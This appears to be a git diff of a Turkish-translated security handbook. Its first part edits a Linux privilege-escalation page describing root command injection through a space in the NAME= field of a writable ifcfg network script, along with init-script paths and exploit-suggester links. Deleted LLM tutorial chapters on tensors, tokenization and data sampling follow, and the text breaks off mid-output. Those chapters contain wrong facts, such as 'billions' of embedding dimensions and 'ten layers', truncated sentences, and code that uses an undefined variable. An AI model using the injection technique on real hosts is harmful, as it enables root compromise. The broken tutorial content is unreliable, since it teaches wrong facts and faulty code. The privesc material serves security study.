Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazma** yetkisine sahip bir `ifcf-<herhangi bir şey>` betiği yazabiliyorsa **veya** mevcut birini **ayarlayabiliyorsa**, o zaman **sisteminiz ele geçirilmiştir**. Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazabilirse** veya mevcut birini **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**.
Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak, Linux'ta Ağ Yöneticisi (dispatcher.d) tarafından \~sourced\~ edilirler. Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler.
Benim durumumda, bu ağ betiklerinde `NAME=` ataması doğru bir şekilde işlenmemektedir. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına gelir. Benim durumumda, bu ağ betiklerinde `NAME=` ataması doğru bir şekilde işlenmemektedir. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şey root olarak çalıştırılır** anlamına gelir.
Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash ```bash
@ -1356,7 +1356,7 @@ DEVICE=eth0
``` ```
### **init, init.d, systemd ve rc.d** ### **init, init.d, systemd ve rc.d**
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu da **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yenilemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu da **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu da Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır. Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu da Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
@ -1402,7 +1402,7 @@ cisco-vmanage.md
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **Linux Exploit Önerici:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Daha fazla script derlemesi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) **Daha fazla script derlemesi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)

View File

@ -1,285 +0,0 @@
# 0. Temel LLM Kavramları
## Ön Eğitim
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlam açısından ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedeflenmiş uygulamalardaki performansını ve alaka düzeyini artırır.
## Ana LLM Bileşenleri
Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile karakterize edilir. Bir LLM eğitirken yaygın bileşenler şunlardır:
- **Parametreler**: Parametreler, sinir ağındaki **öğrenilebilir ağırlıklar ve önyargılardır**. Bu, eğitim sürecinin kayıp fonksiyonunu minimize etmek ve modelin görevdeki performansını artırmak için ayarladığı sayılardır. LLM'ler genellikle milyonlarca parametre kullanır.
- **Bağlam Uzunluğu**: Bu, LLM'yi ön eğitim için kullanılan her cümlenin maksimum uzunluğudur.
- **Gömme Boyutu**: Her bir token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır.
- **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu.
- **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır.
- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır.
- **Dropout**: Dropout, eğitim sırasında verilerin ne kadarının kaldırıldığına dair bir yüzdedir (olasılıklar 0'a döner) ve **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
GPT-2 modelinin yapılandırması:
```json
GPT_CONFIG_124M = {
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
"context_length": 1024, // Context length
"emb_dim": 768, // Embedding dimension
"n_heads": 12, // Number of attention heads
"n_layers": 12, // Number of layers
"drop_rate": 0.1, // Dropout rate: 10%
"qkv_bias": False // Query-Key-Value bias
}
```
## PyTorch'ta Tensörler
PyTorch'ta bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, PyTorch'ta verilerin temsil edilmesi ve işlenmesi için birincil yoldur.
### Tensörlerin Matematiksel Kavramı
- **Skalarlar**: Tek bir sayıyı (sıfır boyutlu) temsil eden 0. dereceden tensörler. Örnek: 5
- **Vektörler**: Bir boyutlu sayı dizisini temsil eden 1. dereceden tensörler. Örnek: \[5,1]
- **Matrisler**: Satır ve sütunlarla iki boyutlu dizileri temsil eden 2. dereceden tensörler. Örnek: \[\[1,3], \[5,2]]
- **Daha Yüksek Dereceli Tensörler**: Üç veya daha fazla dereceden tensörler, verileri daha yüksek boyutlarda temsil eder (örneğin, renkli görüntüler için 3D tensörler).
### Tensörler Veri Konteyneri Olarak
Hesaplama perspektifinden, tensörler çok boyutlu veriler için konteynerler olarak işlev görür; her boyut verinin farklı özelliklerini veya yönlerini temsil edebilir. Bu, tensörleri makine öğrenimi görevlerinde karmaşık veri setlerini işlemek için son derece uygun hale getirir.
### PyTorch Tensörleri vs. NumPy Dizileri
PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısından NumPy dizilerine benzerken, derin öğrenme için kritik olan ek işlevsellikler sunar:
- **Otomatik Türev Alma**: PyTorch tensörleri, sinir ağlarını eğitmek için gereken türevlerin hesaplanmasını basitleştiren otomatik gradyan hesaplamasını (autograd) destekler.
- **GPU Hızlandırması**: PyTorch'taki tensörler, GPU'lara taşınabilir ve burada hesaplanabilir, bu da büyük ölçekli hesaplamaları önemli ölçüde hızlandırır.
### PyTorch'ta Tensör Oluşturma
Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz:
```python
pythonCopy codeimport torch
# Scalar (0D tensor)
tensor0d = torch.tensor(1)
# Vector (1D tensor)
tensor1d = torch.tensor([1, 2, 3])
# Matrix (2D tensor)
tensor2d = torch.tensor([[1, 2],
[3, 4]])
# 3D Tensor
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### Tensor Veri Türleri
PyTorch tensörleri, tam sayılar ve kayan noktalı sayılar gibi çeşitli türlerde verileri depolayabilir.
Bir tensörün veri türünü `.dtype` niteliğini kullanarak kontrol edebilirsiniz:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
- Python tam sayılarından oluşturulan tensörler `torch.int64` türündedir.
- Python ondalık sayılarından oluşturulan tensörler `torch.float32` türündedir.
Bir tensörün veri türünü değiştirmek için `.to()` yöntemini kullanın:
```python
float_tensor = tensor1d.to(torch.float32)
print(float_tensor.dtype) # Output: torch.float32
```
### Yaygın Tensor İşlemleri
PyTorch, tensörleri manipüle etmek için çeşitli işlemler sunar:
- **Şekil Erişimi**: Bir tensörün boyutlarını almak için `.shape` kullanın.
```python
print(tensor2d.shape) # Çıktı: torch.Size([2, 2])
```
- **Tensörleri Yeniden Şekillendirme**: Şekli değiştirmek için `.reshape()` veya `.view()` kullanın.
```python
reshaped = tensor2d.reshape(4, 1)
```
- **Tensörleri Transpoze Etme**: 2D bir tensörü transpoze etmek için `.T` kullanın.
```python
transposed = tensor2d.T
```
- **Matris Çarpımı**: `.matmul()` veya `@` operatörünü kullanın.
```python
result = tensor2d @ tensor2d.T
```
### Derin Öğrenmedeki Önemi
Tensörler, PyTorch'ta sinir ağları oluşturmak ve eğitmek için gereklidir:
- Girdi verilerini, ağırlıkları ve biasları depolarlar.
- Eğitim algoritmalarında ileri ve geri geçişler için gereken işlemleri kolaylaştırırlar.
- Autograd ile tensörler, gradyanların otomatik hesaplanmasını sağlar, optimizasyon sürecini kolaylaştırır.
## Otomatik Türev Alma
Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** verimli ve doğru bir şekilde değerlendirmek için kullanılan bir hesaplama tekniğidir. Sinir ağları bağlamında, AD, **gradyan inişi gibi optimizasyon algoritmaları için gereken gradyanların** hesaplanmasını sağlar. PyTorch, bu süreci basitleştiren **autograd** adlı bir otomatik türev alma motoru sunar.
### Otomatik Türev Almanın Matematiksel Açıklaması
**1. Zincir Kuralı**
Otomatik türev almanın temelinde, kalkülüsün **zincir kuralı** vardır. Zincir kuralı, bir fonksiyon bileşimi varsa, bileşik fonksiyonun türevinin, bileşen fonksiyonların türevlerinin çarpımı olduğunu belirtir.
Matematiksel olarak, eğer `y=f(u)` ve `u=g(x)` ise, o zaman `y`'nin `x`'e göre türevi:
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Hesaplama Grafiği**
AD'de, hesaplamalar **hesaplama grafiği** olarak temsil edilir; burada her düğüm bir işlem veya değişkene karşılık gelir. Bu grafiği geçerek, türevleri verimli bir şekilde hesaplayabiliriz.
3. Örnek
Basit bir fonksiyonu ele alalım:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Burada:
- `σ(z)` sigmoid fonksiyonudur.
- `y=1.0` hedef etikettir.
- `L` kayıptır.
Kayıp `L`'nin ağırlık `w` ve bias `b`'ye göre gradyanını hesaplamak istiyoruz.
**4. Gradyanları Manuel Olarak Hesaplama**
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**5. Sayısal Hesaplama**
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### PyTorch'ta Otomatik Türev Almayı Uygulama
Şimdi, PyTorch'un bu süreci nasıl otomatikleştirdiğine bakalım.
```python
pythonCopy codeimport torch
import torch.nn.functional as F
# Define input and target
x = torch.tensor([1.1])
y = torch.tensor([1.0])
# Initialize weights with requires_grad=True to track computations
w = torch.tensor([2.2], requires_grad=True)
b = torch.tensor([0.0], requires_grad=True)
# Forward pass
z = x * w + b
a = torch.sigmoid(z)
loss = F.binary_cross_entropy(a, y)
# Backward pass
loss.backward()
# Gradients
print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad)
```
**Çıktı:**
```css
cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817])
```
## Daha Büyük Sinir Ağlarında Geri Yayılım
### **1. Çok Katmanlı Ağlara Genişletme**
Birden fazla katmana sahip daha büyük sinir ağlarında, gradyanları hesaplama süreci, artan parametre ve işlem sayısı nedeniyle daha karmaşık hale gelir. Ancak, temel ilkeler aynı kalır:
- **İleri Geçiş:** Girdileri her katmandan geçirerek ağın çıktısını hesaplayın.
- **Kayıp Hesaplama:**ın çıktısını ve hedef etiketleri kullanarak kayıp fonksiyonunu değerlendirin.
- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın.
### **2. Geri Yayılım Algoritması**
- **Adım 1:** Ağ parametrelerini (ağırlıklar ve biaslar) başlatın.
- **Adım 2:** Her eğitim örneği için, çıktıları hesaplamak üzere bir ileri geçiş gerçekleştirin.
- **Adım 3:** Kaybı hesaplayın.
- **Adım 4:** Zincir kuralını kullanarak kaybın her parametreye göre gradyanlarını hesaplayın.
- **Adım 5:** Parametreleri bir optimizasyon algoritması (örneğin, gradyan inişi) kullanarak güncelleyin.
### **3. Matematiksel Temsil**
Bir gizli katmana sahip basit bir sinir ağını düşünün:
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorch Uygulaması**
PyTorch, bu süreci autograd motoru ile basitleştirir.
```python
import torch
import torch.nn as nn
import torch.optim as optim
# Define a simple neural network
class SimpleNet(nn.Module):
def __init__(self):
super(SimpleNet, self).__init__()
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
self.relu = nn.ReLU()
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
self.sigmoid = nn.Sigmoid()
def forward(self, x):
h = self.relu(self.fc1(x))
y_hat = self.sigmoid(self.fc2(h))
return y_hat
# Instantiate the network
net = SimpleNet()
# Define loss function and optimizer
criterion = nn.BCELoss()
optimizer = optim.SGD(net.parameters(), lr=0.01)
# Sample data
inputs = torch.randn(1, 10)
labels = torch.tensor([1.0])
# Training loop
optimizer.zero_grad() # Clear gradients
outputs = net(inputs) # Forward pass
loss = criterion(outputs, labels) # Compute loss
loss.backward() # Backward pass (compute gradients)
optimizer.step() # Update parameters
# Accessing gradients
for name, param in net.named_parameters():
if param.requires_grad:
print(f"Gradient of {name}: {param.grad}")
```
Bu kodda:
- **İleri Geçiş:**ırlığın çıktısını hesaplar.
- **Geri Geçiş:** `loss.backward()` kaybın tüm parametrelere göre gradyanlarını hesaplar.
- **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara dayalı olarak parametreleri günceller.
### **5. Geri Geçişi Anlamak**
Geri geçiş sırasında:
- PyTorch, hesaplama grafiğini ters sırayla dolaşır.
- Her işlem için, gradyanları hesaplamak üzere zincir kuralını uygular.
- Gradyanlar, her parametre tensörünün `.grad` niteliğinde birikir.
### **6. Otomatik Türev Almanın Avantajları**
- **Verimlilik:** Ara sonuçları yeniden kullanarak gereksiz hesaplamalardan kaçınır.
- **Doğruluk:** Makine hassasiyetine kadar tam türevler sağlar.
- **Kullanım Kolaylığı:** Türevlerin manuel hesaplanmasını ortadan kaldırır.

View File

@ -1,95 +0,0 @@
# 1. Tokenizasyon
## Tokenizasyon
**Tokenizasyon**, verileri, örneğin metni, daha küçük, yönetilebilir parçalara _token_ denilen birimlere ayırma sürecidir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında.
> [!TIP]
> Bu ilk aşamanın amacı çok basittir: **Girdiyi mantıklı bir şekilde token'lara (id'lere) ayırmak**.
### **Tokenizasyonun Çalışma Şekli**
1. **Metni Bölme:**
- **Temel Tokenizer:** Basit bir tokenizer, metni bireysel kelimelere ve noktalama işaretlerine ayırabilir, boşlukları kaldırır.
- _Örnek:_\
Metin: `"Merhaba, dünya!"`\
Tokenlar: `["Merhaba", ",", "dünya", "!"]`
2. **Bir Kelime Dağarcığı Oluşturma:**
- Tokenları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz tokenları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar.
- **Özel Tokenlar:** Çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir:
- `[BOS]` (Dizinin Başlangıcı): Bir metnin başlangıcını belirtir.
- `[EOS]` (Dizinin Sonu): Bir metnin sonunu belirtir.
- `[PAD]` (Doldurma): Bir partideki tüm dizilerin aynı uzunlukta olmasını sağlamak için kullanılır.
- `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan tokenları temsil eder.
- _Örnek:_\
Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!"` `467` ise:\
`"Merhaba, dünya!"``[64, 455, 78, 467]`
- **Bilinmeyen Kelimeleri Ele Alma:**\
Eğer `"Hoşça kal"` gibi bir kelime kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\
`"Hoşça kal, dünya!"``["[UNK]", ",", "dünya", "!"]``[987, 455, 78, 467]`\
_(Varsayılarak `[UNK]` ID'si `987`)_
### **Gelişmiş Tokenizasyon Yöntemleri**
Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarcıkları ve yeni veya nadir kelimeleri ele alırken sınırlamaları vardır. Gelişmiş tokenizasyon yöntemleri, metni daha küçük alt birimlere ayırarak veya tokenizasyon sürecini optimize ederek bu sorunları ele alır.
1. **Byte Pair Encoding (BPE):**
- **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak ele alır.
- **Nasıl Çalışır:**
- Token olarak bireysel karakterlerle başlar.
- En sık karşılaşılan token çiftlerini tek bir token haline getirerek yinelemeli olarak birleştirir.
- Daha fazla sık çift birleştirilemeyecek hale gelene kadar devam eder.
- **Faydaları:**
- Tüm kelimelerin mevcut alt kelime tokenları ile temsil edilebilmesi nedeniyle `[UNK]` tokenına ihtiyaç duyulmaz.
- Daha verimli ve esnek bir kelime dağarcığı sağlar.
- _Örnek:_\
`"oynama"` token olarak `["oyna", "ma"]` şeklinde ayrılabilir eğer `"oyna"` ve `"ma"` sıkça karşılaşılan alt kelimelerse.
2. **WordPiece:**
- **Kullanım Alanı:** BERT gibi modeller.
- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır.
- **Nasıl Çalışır:**
- Bireysel karakterlerden oluşan bir temel kelime dağarcığı ile başlar.
- Eğitim verilerinin olasılığını maksimize eden en sık karşılaşılan alt kelimeyi yinelemeli olarak ekler.
- Hangi alt kelimelerin birleştirileceğine karar vermek için olasılıksal bir model kullanır.
- **Faydaları:**
- Yönetilebilir bir kelime dağarcığı boyutu ile kelimeleri etkili bir şekilde temsil etme arasında denge kurar.
- Nadir ve bileşik kelimeleri etkili bir şekilde ele alır.
- _Örnek:_\
`"mutsuzluk"` token olarak `["mut", "suzluk"]` veya `["mut", "suz", "luk"]` şeklinde ayrılabilir, bu kelime dağarcığına bağlıdır.
3. **Unigram Dil Modeli:**
- **Kullanım Alanı:** SentencePiece gibi modeller.
- **Amaç:** En olası alt kelime token setini belirlemek için olasılıksal bir model kullanır.
- **Nasıl Çalışır:**
- Potansiyel tokenların büyük bir seti ile başlar.
- Eğitim verilerinin modelin olasılığını en az artıran tokenları yinelemeli olarak kaldırır.
- Her kelimenin en olası alt kelime birimleri ile temsil edildiği bir kelime dağarcığı oluşturur.
- **Faydaları:**
- Esnek olup dili daha doğal bir şekilde modelleyebilir.
- Genellikle daha verimli ve kompakt tokenizasyonlar ile sonuçlanır.
- _Örnek:_\
`"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde ayrılabilir.
## Kod Örneği
Bunu daha iyi anlamak için [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneğine bakalım:
```python
# Download a text to pre-train the model
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
# Tokenize the code using GPT2 tokenizer version
import tiktoken
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
# Print first 50 tokens
print(token_ids[:50])
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
```
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,240 +0,0 @@
# 2. Data Sampling
## **Data Sampling**
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
> [!TIP]
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
### **Why Data Sampling Matters**
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
### **Key Concepts in Data Sampling**
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
### **Step-by-Step Example**
Let's walk through an example to illustrate data sampling.
**Example Text**
```arduino
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
```
**Tokenization**
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parameters**
- **Max Sequence Length (max_length):** 4 tokens
- **Sliding Window Stride:** 1 token
**Creating Input and Target Sequences**
1. **Sliding Window Approach:**
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
2. **Generating Sequences:**
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Resulting Input and Target Arrays:**
- **Input:**
```python
[
["Lorem", "ipsum", "dolor", "sit"],
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
]
```
- **Target:**
```python
[
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
["amet,", "consectetur", "adipiscing", "elit."],
]
```
**Visual Representation**
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Sliding Window with Stride 1:**
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
**Understanding Stride**
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
**Example with Stride of 2:**
Using the same tokenized text and `max_length` of 4:
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
## Code Example
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
"""
Create a class that will receive some params lie tokenizer and text
and will prepare the input chunks and the target chunks to prepare
the LLM to learn which next token to generate
"""
import torch
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
"""
Create a data loader which given the text and some params will
prepare the inputs and targets with the previous class and
then create a torch DataLoader with the info
"""
import tiktoken
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True,
num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset,
batch_size=batch_size,
shuffle=shuffle,
drop_last=drop_last,
num_workers=num_workers
)
return dataloader
"""
Finally, create the data loader with the params we want:
- The used text for training
- batch_size: The size of each batch
- max_length: The size of each entry on each batch
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
- shuffle: Re-order randomly
"""
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
)
data_iter = iter(dataloader)
first_batch = next(data_iter)
print(first_batch)
# Note the batch_size of 8, the max_length of 4 and the stride of 1
[
# Input
